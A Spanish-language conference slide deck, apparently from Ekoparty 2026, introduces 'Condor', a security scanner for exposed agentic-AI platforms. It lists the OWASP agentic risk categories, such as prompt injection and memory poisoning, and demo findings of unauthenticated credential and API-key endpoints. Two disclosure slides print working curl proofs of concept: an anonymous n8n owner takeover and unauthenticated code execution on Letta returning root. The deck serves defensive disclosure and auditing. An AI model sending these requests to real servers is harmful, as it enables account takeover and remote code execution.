1 / 15
EKOPARTY 2026 · BUENOS AIRES
CONDOR
La alfombra de bienvenida de JADEPUFFER
Auditando infraestructura de IA agéntica expuesta
16
Plataformas
431
Tests
10
Módulos ASI
2
GHSAs
NICOLÁS PADILLA — CobaltoSec
AGENDA

De qué vamos a hablar

01El incidente JADEPUFFER — la escala del problema
02La superficie de ataque agéntica — OWASP ASI Top 10
03Condor — arquitectura y funcionamiento
04Demo en vivo — Flowise 1.8.2 · 3.0 segundos · 6 findings
05Vulnerabilidades originales — 2 GHSAs descubiertos
06¿Por qué no alcanza con Nuclei? — semántica vs HTTP
07pip install cobaltosec-condor
EL INCIDENTE

Julio 2026. JADEPUFFER.

  • CVE-2025-3248 — Langflow RCE sin autenticación (CVSS 9.8, CISA KEV)
  • 1,342 registros cifrados · 361 IPs maliciosas escaneando activamente
La herramienta para auditarlos existía antes. Tenía descargas.
La pregunta no es si alguien la usó — es si el defensor llegó primero.
LA ESCALA DEL PROBLEMA
12k+
instancias Flowise expuestas
CVE-2025-59528 · CVSS 10.0
~7k
instancias Langflow expuestas
JADEPUFFER · CVE-2025-3248
175k
servidores Ollama sin auth
SentinelOne/Censys · ene 2026
Configuración por defecto = sin autenticación. No es un edge case — es el estado habitual del ecosistema.
LA SUPERFICIE DE ATAQUE AGÉNTICA

El modelo no es el problema.
El orquestador es el problema.

LLM
←──
tools
←──
memory
↕
vectorstore
←──
agent state
↕
API REST expuesta en :3000 ← usted está aquí
OWASP ASI TOP 10
ASI01Prompt Injection
ASI02Tool Misuse
ASI03Privilege Abuse
ASI04Supply Chain
ASI05Code Execution
ASI06Memory Poisoning
ASI07Inter-agent Trust
ASI08Cascading Failures
ASI09Trust Exploitation
ASI10Rogue Agents
Condor implementa 10 módulos especializados en paralelo — uno por categoría ASI.
LA HERRAMIENTA

Condor

  • 16 plataformas agénticas soportadas
  • 431 tests · 0 falsos positivos documentados
  • 10 módulos ASI en paralelo (~70% menos tiempo)
  • Output: SARIF · JUnit · HTML · JSON · DefectDojo
pip install cobaltosec-condor
github.com/CobaltoSec/condor
$ condor scan \ --url https://target \ --platform flowise \ --format sarif Scanning Flowise... [ASI01] prompt-injection ... 0 [ASI02] tool-misuse ... 2 [ASI03] privilege-abuse ... 3 ...
DEMO — SETUP

Reproducible en laptop

$ docker compose -f tests/e2e/docker-compose.yml up -d ✔ flowise:1.8.2 → localhost:3200 ✔ langflow:latest → localhost:7860 ✔ n8n:latest → localhost:5678 ✔ letta:latest → localhost:8283 $ condor scan \ --url http://localhost:3200 \ --platform flowise \ --format table
DEMO — FLOWISE 1.8.2 · DEFAULT INSTALL · 3.0 SEGUNDOS
CRITICALCredentials exfiltrationGET /api/v1/credentials
CRITICALAPI key exposureGET /api/v1/apikey
HIGHEnvironment variable exposureGET /api/v1/variables
HIGHRAG poisoning — vectorstore writePOST /api/v1/vector/upsert
HIGHChatflow enumeration (system prompts)GET /api/v1/chatflows
MEDIUMTool configuration exposureGET /api/v1/tools
6 findings · 2 CRITICAL · 3 HIGH · 1 MEDIUM · 0 falsos positivos · sin credenciales
VULNERABILIDAD DESCUBIERTA — n8n
GHSA-95xp-fhhm-xfj2 · n8n ≤ 2.30.7 · CRITICAL · CWE-306
Race window en instalación fresca

POST /rest/owner/setup no requiere autenticación en fresh install.
Cualquier usuario anónimo puede convertirse en global:owner.

curl -X POST http://n8n:5678/rest/owner/setup \ -d '{"email":"attacker@evil.com","password":"owned", "firstName":"att","lastName":"acker"}' → 200 OK · {"data":{"globalRole":{"name":"owner"}}}
VULNERABILIDAD DESCUBIERTA — Letta
GHSA-p67m-xf4h-2r78 · Letta ≤ 0.16.8 · CRITICAL · CWE-306 · RCE
RCE sin autenticación — /v1/tools/run

LETTA_SERVER_PASS está configurado. No importa.
Requiere LETTA_SERVER_SECURE=true — no documentado en la guía de instalación.

curl -X POST http://letta:8283/v1/tools/run \ -d '{"source_code":"import subprocess\nreturn subprocess.check_output([\"id\"]).decode()"}' → 200 OK · {"return_value": "uid=0(root) gid=0(root) groups=0(root)"}
SEMÁNTICA VS. HTTP GENÉRICO
Template genérico (Nuclei)
POST /collections/db/points {"vectors": [0.0, 0.0, 0.0, 0.0]} → 400 Bad Request → No finding.
Condor
GET /collections/db → vectors_config.size = 1536 POST /collections/db/points {"vectors": [ … ×1536 ]} → CRITICAL · cleanup.
Condor enumera primero, luego construye probes semánticamente válidos.
La diferencia no es de superficie — es de profundidad semántica.
PLATAFORMAS SOPORTADAS — 16
flowise
langflow
dify
n8n
langgraph
autogen
llamaindex
crewai
ollama
openai-compat
openwebui
hayhooks
letta
qdrant
chroma
generic
Plugin system vía entry_points — extensible con plataformas propietarias. Output: SARIF 2.1.0 · JUnit · HTML · DefectDojo · Slack · Teams
INTEGRACIÓN

CI / CD

  • GitHub Actions action.yml — drop-in
  • SARIF 2.1.0 → GitHub Code Scanning / Semgrep
  • JUnit XML → Jenkins / GitLab CI / CircleCI
  • Exit codes: 0 clean · 1 findings · 2 error

ECOSISTEMA

  • DefectDojo API — engagement automático
  • Slack / Teams notifications
  • Baseline suppression por fingerprint SHA-256
  • --proxy / --insecure — Burp Suite
El atacante tiene una ventana enorme.
JADEPUFFER la usó.
$ pip install cobaltosec-condor $ condor scan --url <target> --platform <p>
github.com/CobaltoSec/condor
NICOLÁS PADILLA · CobaltoSec · nicolas@cobalto-sec.tech